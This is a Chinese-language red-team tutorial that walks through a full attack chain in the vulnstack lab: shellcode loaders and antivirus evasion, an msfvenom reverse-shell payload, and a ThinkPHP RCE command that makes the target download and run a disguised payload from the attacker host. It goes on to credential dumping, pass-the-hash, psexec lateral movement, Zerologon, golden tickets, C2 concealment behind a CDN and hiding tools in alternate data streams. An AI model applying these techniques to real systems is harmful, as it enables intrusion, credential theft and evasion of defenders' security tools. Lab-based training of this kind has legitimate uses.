红队实战：逆向免杀与横向移动的闭环攻击链构建

1. 项目概述：从“武器库”到“实战手册”的转变

每次看到“红队护网武器库天花板”这类标题，我都能感受到背后那份对实战能力的渴望。这不仅仅是一个标题，它精准地戳中了当前红队演练和渗透测试领域的一个核心痛点：工具和技巧的碎片化。市面上充斥着各种“神器”列表，但真正能讲清楚如何将逆向免杀技术与横向移动实战技巧融会贯通，形成一套可落地、可复现的闭环流程的内容，却少之又少。今天，我就以一个在红蓝对抗一线摸爬滚打多年的从业者身份，来拆解这个标题背后的深层逻辑，并分享一套从入门到进阶的完整实战框架。

这个标题的核心价值在于它提出了一个“组合拳”式的解决方案。它没有孤立地谈免杀，也没有空泛地讲横向，而是将两者串联起来，形成了一个完整的攻击链闭环。逆向免杀技术是“矛尖”，决定了你的载荷能否成功突破边界防御；横向移动实战技巧则是“矛身”，决定了你在内网能走多远、多深。缺少任何一环，攻击链都会断裂。我们常说的“vulnstack红队5”靶场环境，之所以被广泛用于高阶训练，正是因为它逼真地模拟了企业内网环境，要求攻击者必须综合运用免杀、横向、权限维持等多种技术才能通关。而“cs横向移动”和“codex使用教程实战技巧”这些热词，则代表了当前社区最关注的实战工具链和具体手法。接下来，我将围绕这个闭环，从思路设计到实操细节，再到问题排查，为你构建一个清晰的进阶路径。

2. 核心思路与武器库架构设计

2.1 理解红队武器库的“动态性”

很多新手容易陷入一个误区：认为收集了足够多的工具和EXP，就拥有了强大的武器库。实际上，一个有效的红队武器库，其核心不在于工具的“数量”，而在于工具的“可定制性”和“战术适配性”。静态的工具列表在对抗动态更新的安全设备（如EDR、AV、NDR）时，会迅速失效。因此，我们的设计思路必须从“收集工具”转向“构建能力”。

能力一：载荷生成与免杀能力。 这是所有攻击的起点。我们需要的不只是一个Cobalt Strike或Metasploit的生成器，而是一套可以根据目标环境（操作系统版本、安全软件、网络策略）动态调整载荷特征（如壳、编码、混淆、API调用方式）的流水线。这意味着你需要深入理解PE文件结构、Windows API、内存操作以及主流杀软的静态/动态检测原理。

能力二：内网侦察与横向移动能力。 获得初始立足点后，面对的是一个陌生的内网。你需要快速绘制网络拓扑、识别高价值目标（域控、文件服务器、数据库）、理清信任关系。横向移动不是漫无目的地乱撞，而是基于侦察结果的有序推进。这涉及到对各类协议（SMB、WMI、WinRM、RDP）、凭据窃取与传递（Pass-the-Hash, Pass-the-Ticket）、以及漏洞利用（如MS17-010）的灵活运用。

能力三：隐蔽与持久化能力。 红队行动不是“打一枪换一个地方”，往往需要长时间的潜伏。如何在目标系统上不留痕迹地驻留，如何建立稳定、隐蔽的通信信道，如何对抗溯源分析，这些能力决定了行动的深度和可持续性。

将这三项能力串联起来，就构成了我们武器库的骨架。每一项能力都对应着一系列的技术点和工具链，而“逆向免杀”和“横向移动”正是前两项能力的核心体现。

2.2 逆向免杀：从“特征修改”到“行为隐藏”

免杀技术通常被分为静态免杀和动态免杀。静态免杀针对文件本身的特征码，而动态免杀针对运行时的行为。

静态免杀的传统思路是加壳、编码、混淆。 例如，使用UPX、VMProtect等工具加壳，或使用自定义的异或编码对Shellcode进行加密。然而，现代EDR和高级杀软早已具备脱壳、内存扫描和启发式分析能力，单纯依赖这些方法效果有限。

更高级的思路是“源码级免杀”和“合法程序白利用”。

1. 源码级免杀 ：不使用Metasploit或Cobalt Strike生成的默认Shellcode，而是自己编写或大幅修改加载器（Loader）。关键点在于避免使用敏感API的“直接调用”，或者以非常规方式调用。例如，使用 Syscall 直接进行系统调用，绕过用户层的API钩子；或者使用 Delegate 、 Function Pointer 等动态调用技术，增加分析难度。
2. 白利用（Living-off-the-Land） ：这是当前最有效的免杀思路之一。利用操作系统自带的、具有合法签名的程序（如 msbuild.exe , installutil.exe , regsvr32.exe ）来执行恶意代码。例如，将C#编写的Payload编译为DLL，然后通过 C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U “恶意DLL路径” 这样的命令来执行。对于防御方来说，这是一个微软签名的程序在执行“正常”操作，极难被拦截。

注意 ：白利用虽然效果好，但需要你对目标系统的环境有精准判断。比如，目标机器是否安装了对应版本的.NET Framework？ msbuild 是否可用？这要求你在横向移动时，侦察工作必须做得非常细致。

一个实战中的免杀载荷生成流程示例：

1. 生成原始Shellcode ：使用Cobalt Strike的 payload generator 生成 raw 格式的Shellcode。
2. 加密Shellcode ：编写一个简单的Python脚本，使用AES或RC4等算法对Shellcode进行加密，并生成一个字节数组形式的C/C++代码片段。
3. 编写加载器 ：使用Visual Studio创建一个C++项目，将加密后的Shellcode字节数组嵌入。加载器的核心功能是：在内存中解密Shellcode，然后通过 VirtualAlloc 、 CreateThread 等API（或它们的Syscall版本）将其注入到当前进程或指定进程的内存中执行。
4. 规避检测 ：
   • API调用 ：使用 GetProcAddress 和 GetModuleHandle 动态获取API地址，避免在导入表中留下明显痕迹。
   • 字符串隐藏 ：所有敏感的字符串（如API名称、URL）都进行加密或拆分存储。
   • 反调试 ：加入简单的反调试检查，如 IsDebuggerPresent 、检查 PEB 中的 BeingDebugged 标志。
5. 编译与测试 ：使用Release模式编译，关闭调试信息（/DEBUG:NONE），并尝试使用不同版本的Visual C++运行时库进行编译，以改变二进制文件的某些特征。最后在装有主流杀软和EDR的测试机上反复测试。

2.3 横向移动：从“协议利用”到“战术编排”

横向移动不是技术的堆砌，而是战术的编排。你需要根据当前权限、网络环境和目标系统情况，选择最合适、最隐蔽的路径。

第一步：信息收集与态势评估 上线第一台主机后，立即进行深度信息收集：

• 本机信息 ： whoami /all （当前权限）， systeminfo （系统版本、补丁）， netstat -ano （网络连接）， tasklist /v （进程列表，寻找安全软件）。
• 域内信息 ： net view /domain （查看域）， net group “domain computers” /domain （域内计算机列表）， net group “domain admins” /domain （域管理员）。
• 网络信息 ：使用 arp -a 或上传 ping.exe 扫描内网网段，初步探测存活主机。

第二步：凭据获取与提升 横向移动大多依赖于有效的凭据。

• 内存抓取 ：使用 mimikatz （需免杀处理）或 Cobalt Strike 的 logonpasswords 命令抓取当前登录会话的明文密码或哈希。这是最直接的方式。
• 凭证转储 ：从文件系统中寻找保存的密码，如浏览器的密码库、各类应用的配置文件、 Credential Manager 等。
• 令牌窃取 ：如果当前进程有高权限令牌（如SYSTEM或域管令牌），可以直接窃取并假冒。在Cobalt Strike中， steal_token 命令非常方便。

第三步：选择移动手法 根据获取的凭据类型和目标系统情况，选择手法：

第四步：建立持久化与跳板 成功横向移动到一台新主机后，不要满足于执行单条命令。应立即部署一个具备免杀能力的持久化后门（如Cobalt Strike的 beacon ），将这台主机变为新的“跳板”。这样做的目的是：

1. 冗余通道 ：避免因初始入口点失守而导致整个攻击链中断。
2. 位置优势 ：可能获得更靠近核心资产（如域控）的网络位置，绕过网络分段限制。
3. 负载分担 ：将扫描、爆破等可能产生大量流量的操作分散到不同主机，降低被检测的风险。

3. 实战环境搭建与工具链配置

3.1 靶场环境：vulnstack红队5深度解析

“vulnstack红队5”是一个经典的内网渗透靶场，它模拟了一个中小型企业的真实网络环境，通常包含以下角色：

• Ubuntu攻击机 ：通常作为你的操作主机，安装Kali或自定义的渗透测试系统。
• Windows 7边界机 ：通常存在Web漏洞（如ThinkPHP RCE），用于获取初始立足点。这台机器往往能直接访问外部网络，但内网防护较弱。
• Windows Server 2008/2012内网机 ：作为域成员服务器，存放着重要的业务数据或应用。
• Windows Server 2008/2012域控制器 ：整个域的核心，存储所有域账户信息，是红队行动的终极目标。

搭建与配置要点：

1. 网络模式 ：务必使用“仅主机（Host-Only）”或自定义的“VMnet”网络，确保攻击机与靶机在同一封闭网络内，模拟真实内网环境。
2. IP地址规划 ：手动为每台虚拟机设置静态IP，并记下它们的网段和网关。例如，攻击机： 192.168.150.128 ，边界机： 192.168.150.130 ，内网机： 192.168.52.138 ，域控： 192.168.52.141 。注意存在两个网段。
3. 免杀准备 ：靶机内通常安装了杀毒软件。在从边界机向内网横向移动时，你上传的任何工具都必须经过免杀处理，否则会立刻被查杀。这是该靶场训练的核心价值之一。

3.2 核心工具链配置与免杀化改造

工欲善其事，必先利其器。以下工具需要你进行深度定制，而非直接使用原版。

1. Cobalt Strike (CS)：团队服务器的隐蔽化

• 域名与CDN ：不要直接用IP地址作为团队服务器。申请一个域名，并利用CloudFlare等CDN服务进行转发，将真实的服务器IP隐藏起来。在CS的 C2 Profile 中配置对应的域名。
• Malleable C2 Profile ：这是CS的灵魂。一个精心编写的Profile可以改变Beacon的通信流量，使其模仿成正常的HTTPS、HTTP甚至Cloud（如Azure、AWS）流量。你需要学习如何配置 http-get 、 http-post 、 http-stager 等段落的 uri 、 header 、 metadata 格式，以及 stage 的变换规则。网上有 jquery-c2.4.0.profile 等公开模板，但最好能自己根据目标网络流量特征进行定制。
• 监听器（Listener） ：除了标准的HTTP/S，可以尝试使用 DNS 、 SMB 等监听器。在内网中， SMB Beacon 通过命名管道进行通信，不产生网络流量，隐蔽性极佳。

2. Metasploit Framework (MSF)：载荷的多样化生成 MSF不仅是漏洞利用框架，也是强大的载荷生成器。对于免杀，重点使用 msfvenom 。

• 编码器（Encoder） ：如 x86/shikata_ga_nai ，可以多次迭代编码，但不要过分依赖，因为特征已被广泛识别。
• 模板（Template） ：使用 -x 参数指定一个合法的可执行文件作为模板（如 putty.exe ），将Payload注入其中。这比生成一个全新的PE文件更具迷惑性。
• 格式（Format） ：除了 exe ，可以生成 dll 、 ps1 、 vba 、 aspx 等多种格式，以适应不同的漏洞利用场景和上传方式。

3. 辅助工具链的免杀打包

• mimikatz ：这是杀软的重点关照对象。推荐使用源码自行编译，修改函数名、字符串和部分代码逻辑（称为“魔改”）。或者，使用 Invoke-Mimikatz 这种PowerShell版本，并通过混淆脚本（如 Invoke-Obfuscation ）来绕过检测。
• PowerShell脚本 ：几乎所有PowerShell攻击脚本（如 PowerView.ps1 , Invoke-Kerberoast.ps1 ）都需要混淆。可以使用 ISESteroids 模块或在线混淆器，但更可靠的方法是将其转换为Base64编码的字符串，并通过 -EncodedCommand 参数执行。
• 扫描与爆破工具 ：如 nmap , hydra 。对于Linux工具，可以尝试使用 pyinstaller 打包成独立的可执行文件，并尝试使用UPX等加壳工具（效果有限）。更好的办法是，将它们的核心功能用Python或Go重写，编译成适合目标系统的二进制文件。

4. 从入门到进阶：完整攻击链复现

我们以“vulnstack红队5”为背景，串联起逆向免杀和横向移动的全过程。

4.1 阶段一：突破边界（免杀载荷投递）

场景 ：攻击机（Kali: 192.168.150.128）发现边界机（Win7: 192.168.150.130）存在ThinkPHP 5.0 RCE漏洞。

1. 生成免杀Payload ：

   • 在攻击机上，我们不直接使用 msfvenom 生成 exe ，而是生成一个 raw 格式的Shellcode，用于后续自定义加载。

   msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.150.128 LPORT=443 -f raw -o shellcode.bin
   

   • 使用之前提到的自定义加载器项目（C++），将 shellcode.bin 加密后嵌入，编译生成最终的 payload.exe 。

2. 投递与执行 ：

   • 在攻击机用Python启动一个简单的HTTP服务： python3 -m http.server 8080 。
   • 利用ThinkPHP漏洞执行命令，让边界机从攻击机下载并执行 payload.exe 。

   # 利用漏洞执行powershell下载命令
   curl “http://192.168.150.130/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=powershell -c (new-object net.webclient).downloadfile(‘http://192.168.150.128:8080/payload.exe’, ‘c:\windows\temp\svchost.exe'); start-process ‘c:\windows\temp\svchost.exe’”
   

   • 由于 payload.exe 是高度免杀的，它应该能成功在装有杀软的边界机上运行，并反向连接回我们的MSF或CS监听器。

4.2 阶段二：内网侦察与立足

1. 初步信息收集 ：通过Meterpreter或CS Beacon的shell，快速执行 ipconfig /all , systeminfo , netstat -ano , tasklist 等命令，了解当前主机角色和网络环境。发现该主机存在双网卡： 192.168.150.130 （外网段）和 192.168.52.129 （内网段）。
2. 权限提升 ：尝试利用本地提权漏洞（如 CVE-2021-36934 等），或使用 getsystem 命令。如果当前是普通用户，尝试抓取密码（ hashdump 或 load mimikatz ）。
3. 内网探测 ：上传免杀版的 nmap 或使用CS的 portscan 功能，对内网段 192.168.52.0/24 进行存活主机和端口扫描。发现 192.168.52.138 （内网服务器）和 192.168.52.141 （域控制器）存活。

4.3 阶段三：横向移动（实战技巧应用）

目标：从边界机(192.168.52.129)横向移动到内网服务器(192.168.52.138)。

假设 ：我们在边界机上抓取到了本地管理员账户的哈希（NTLM Hash）。

1. 使用Pass-the-Hash (PtH) ：

   • 在CS中，右键当前Beacon -> Access -> Spawn As 。在弹出的对话框中，选择 pth 选项，填入从边界机获取的用户名、域名和NTLM Hash。
   • CS会使用这个哈希生成一个新的Beacon会话，这个新会话的令牌就具有了对应账户的权限。

2. 通过SMB/WMI执行命令 ：

   • 拥有了内网服务器的凭证后，我们可以使用 psexec 、 wmic 或 sc 等方式在目标服务器上创建服务或执行命令，来部署我们的后门。
   • 以CS的 psexec 模块为例 ：
     • 在CS中， Attack -> Packages -> Windows Executable (S) ，生成一个适用于内网的Beacon可执行文件（Listener选择内网专用的）。
     • 然后， View -> Targets ，添加目标 192.168.52.138 。
     • 右键该目标， Jump -> psexec 。选择我们之前用PtH生成的会话作为“Listener”，选择生成的exe文件，并指定目标系统的管理员共享路径（如 C$ ）和要放置exe的路径（如 C:\Windows\Temp ）。
     • 执行后，CS会尝试通过SMB连接目标，上传exe文件，并通过服务的方式执行它，从而在内网服务器上获得一个新的Beacon会话。

3. 建立跳板（Socks代理） ：

   • 在边界机的Beacon上，输入命令 socks 1080 ，在攻击机的1080端口开启一个SOCKS4/5代理。
   • 在攻击机上配置Proxychains，将工具（如nmap、sqlmap）的流量通过这个代理转发到内网。

   # 编辑 /etc/proxychains4.conf
   # 最后一行改为：
   socks4 127.0.0.1 1080
   # 使用proxychains扫描内网服务器
   proxychains4 nmap -sT -Pn 192.168.52.138
   

   • 现在，你的攻击机就可以“站在”边界机的位置上，直接访问内网资源了。

4.4 阶段四：域内渗透与权限维持

1. 域内信息收集 ：在内网服务器的Beacon上，执行 net group “domain admins” /domain 等命令，列出域管理员。
2. Kerberoasting攻击 ：使用 Invoke-Kerberoast.ps1 （需免杀处理）获取服务账户的票据哈希，离线破解弱密码。
3. 攻击域控制器 ：
   • 如果获得了域管理员凭据（通过破解、令牌窃取或别的途径），可以直接使用 psexec 或 WMI 跳板到域控（ 192.168.52.141 ）。
   • 或者，利用域内漏洞，如 Zerologon (CVE-2020-1472) ，直接重置域控的机器账户密码，从而完全控制域控。
4. 权限维持（Golden Ticket） ：在控制域控后，可以导出 krbtgt 账户的哈希。利用这个哈希，可以伪造任意用户的Kerberos黄金票据（Golden Ticket），从而在域内获得持久的、几乎无法被检测的最高权限。

5. 常见问题、排查技巧与深度避坑指南

在实际操作中，你会遇到各种各样的问题。以下是一些高频问题及解决思路。

5.1 免杀相关

问题1：生成的免杀载荷在本地测试通过，但一到目标环境就被杀。

• 排查 ：目标环境的安全软件/EDR版本可能比你测试环境更新。此外，静态免杀可能过了，但动态行为（如直接申请RWX内存、创建远程线程）被检测。
• 解决 ：
  • 加强行为隐藏 ：尝试使用更“合法”的内存操作，例如通过 NtCreateSection 和 NtMapViewOfSection 在进程间共享内存，或者利用进程镂空（Process Hollowing）技术将Payload注入到一个合法进程（如 notepad.exe ）中。
  • 睡眠与混淆 ：在Shellcode执行前加入随机的延迟（Sleep），并插入大量无意义的计算指令（垃圾指令），干扰动态分析沙箱。
  • 分阶段加载 ：不使用完整的Staged Payload，而使用Stageless Payload。或者，将Payload拆分成多个小块，分批下载、解密、执行。

问题2：使用白利用（如msbuild）执行Payload时，进程被拦截。

• 排查 ：EDR可能监控了这些合法程序的子进程创建或网络连接行为。
• 解决 ：
  • 父进程欺骗 ：在CS的Malleable C2 Profile中，可以设置 spawnto 参数，将子进程伪装成其他合法程序，如 svchost.exe 或 rundll32.exe 。
  • 使用更冷门的LOLBAS ：研究LOLBAS项目，寻找更不常用、监控规则可能不完善的白程序进行利用。

5.2 横向移动相关

问题3：使用PtH或psexec横向时，返回错误“访问被拒绝”或“登录失败”。

• 排查1：权限问题 。你使用的账户哈希在目标机器上没有管理员权限。使用 net localgroup administrators 命令在目标机器上查看管理员列表。
• 排查2：UAC限制 。即使账户是管理员，如果目标系统启用了UAC且当前不是高完整性权限，远程管理也会受限。尝试先迁移到 SYSTEM 权限进程（如 services.exe ）再执行横向。
• 排查3：防火墙或安全策略 。目标机器的防火墙可能阻止了445（SMB）或135（WMI）端口。尝试使用其他端口或协议，如WinRM（5985）或通过已建立的Beacon进行SMB Beacon跳板。
• 排查4：账户被禁用或锁定 。尤其是在域环境中，频繁的登录失败可能导致账户被临时锁定。

问题4：通过代理（如CS的socks）使用nmap扫描内网速度极慢，且结果不准确。

• 原因 ：这是正常现象。SOCKS代理本身有开销，且nmap的许多扫描技术（如SYN扫描）在通过代理时无法使用，默认会降级为全连接扫描（-sT），速度慢且噪音大。
• 解决 ：
  • 上传本地扫描器 ：将免杀版的 nmap 或更轻量的 masscan 上传到已控制的内网主机上，直接在内网执行扫描，然后将结果传回。
  • 使用CS内置扫描 ：CS的 portscan 命令虽然功能简单，但基于Beacon通信，相对隐蔽，适合初步探测。
  • 针对性扫描 ：不要盲目扫描全端口。先扫描常见端口（如135, 139, 445, 3389, 5985），针对开放的服务再进行深入。

5.3 工具与通信相关

问题5：Cobalt Strike团队服务器连接不稳定，或Beacon经常掉线。

• 排查1：Profile配置错误 。检查Malleable C2 Profile的语法，特别是 http-stager 部分。错误的配置可能导致Stager无法正确下载Stage。
• 排查2：网络问题 。检查服务器防火墙规则、CDN配置以及Listener的端口是否正常开放且未被占用。
• 排查3：目标网络出口策略 。目标内网可能限制了出站流量到非常用端口。尝试将监听端口改为443（HTTPS）、80（HTTP）或53（DNS）等常见端口。
• 解决 ：在Profile中设置合理的 sleep 和 jitter 值。 sleep 5 表示Beacon每5秒回连一次， jitter 20 表示回连时间有20%的随机波动（即4-6秒之间）。增加 sleep 和 jitter 可以降低通信频率，提升隐蔽性，但会降低交互的实时性。

问题6：上传的工具被目标主机上的安全软件实时监控删除。

• 解决 ：
  • 内存运行 ：优先使用不需要落地的内存执行技术，如PowerShell脚本、 .NET 程序集通过 Assembly.Load 在内存中加载、或者使用Cobalt Strike的 execute-assembly 功能。
  • 文件流隐藏 ：在Windows系统中，可以使用 Alternate Data Streams (ADS) 将文件隐藏到合法文件之后，例如 type mimikatz.exe > c:\windows\temp:notepad.exe 。一些安全软件不会检查ADS。
  • 合法目录伪装 ：将文件放在 C:\Windows\System32\spool\drivers\color\ 或 C:\Windows\Tasks\ 这类看似系统正常的目录下，有时能绕过简单的路径检测规则。

红队技术是一个永无止境的对抗过程。今天有效的免杀方法，明天可能就被加入特征库；今天畅通的横向通道，明天可能就被防火墙策略阻断。因此，这个“武器库”的本质不是一个固定的工具箱，而是一个包含 核心知识体系 （操作系统原理、网络协议）、 工具定制能力 （编程、逆向）和 战术应变思维 的动态框架。我个人的体会是，与其追逐最新的漏洞和工具，不如沉下心来，把每一次实战中遇到的问题深挖下去，搞清楚背后的原理。当你真正理解了Windows认证体系（NTLM/Kerberos）、进程内存管理、网络协议交互这些底层知识，再去看那些五花八门的攻击技巧，就会发现它们都是这些基础原理在不同场景下的灵活应用。最后分享一个习惯：每次行动后，务必做详细的复盘记录，不仅记录成功的路径，更要记录每一个被拦截、失败的尝试，并分析原因。这份记录将成为你构建自己“天花板”级武器库最宝贵的原材料。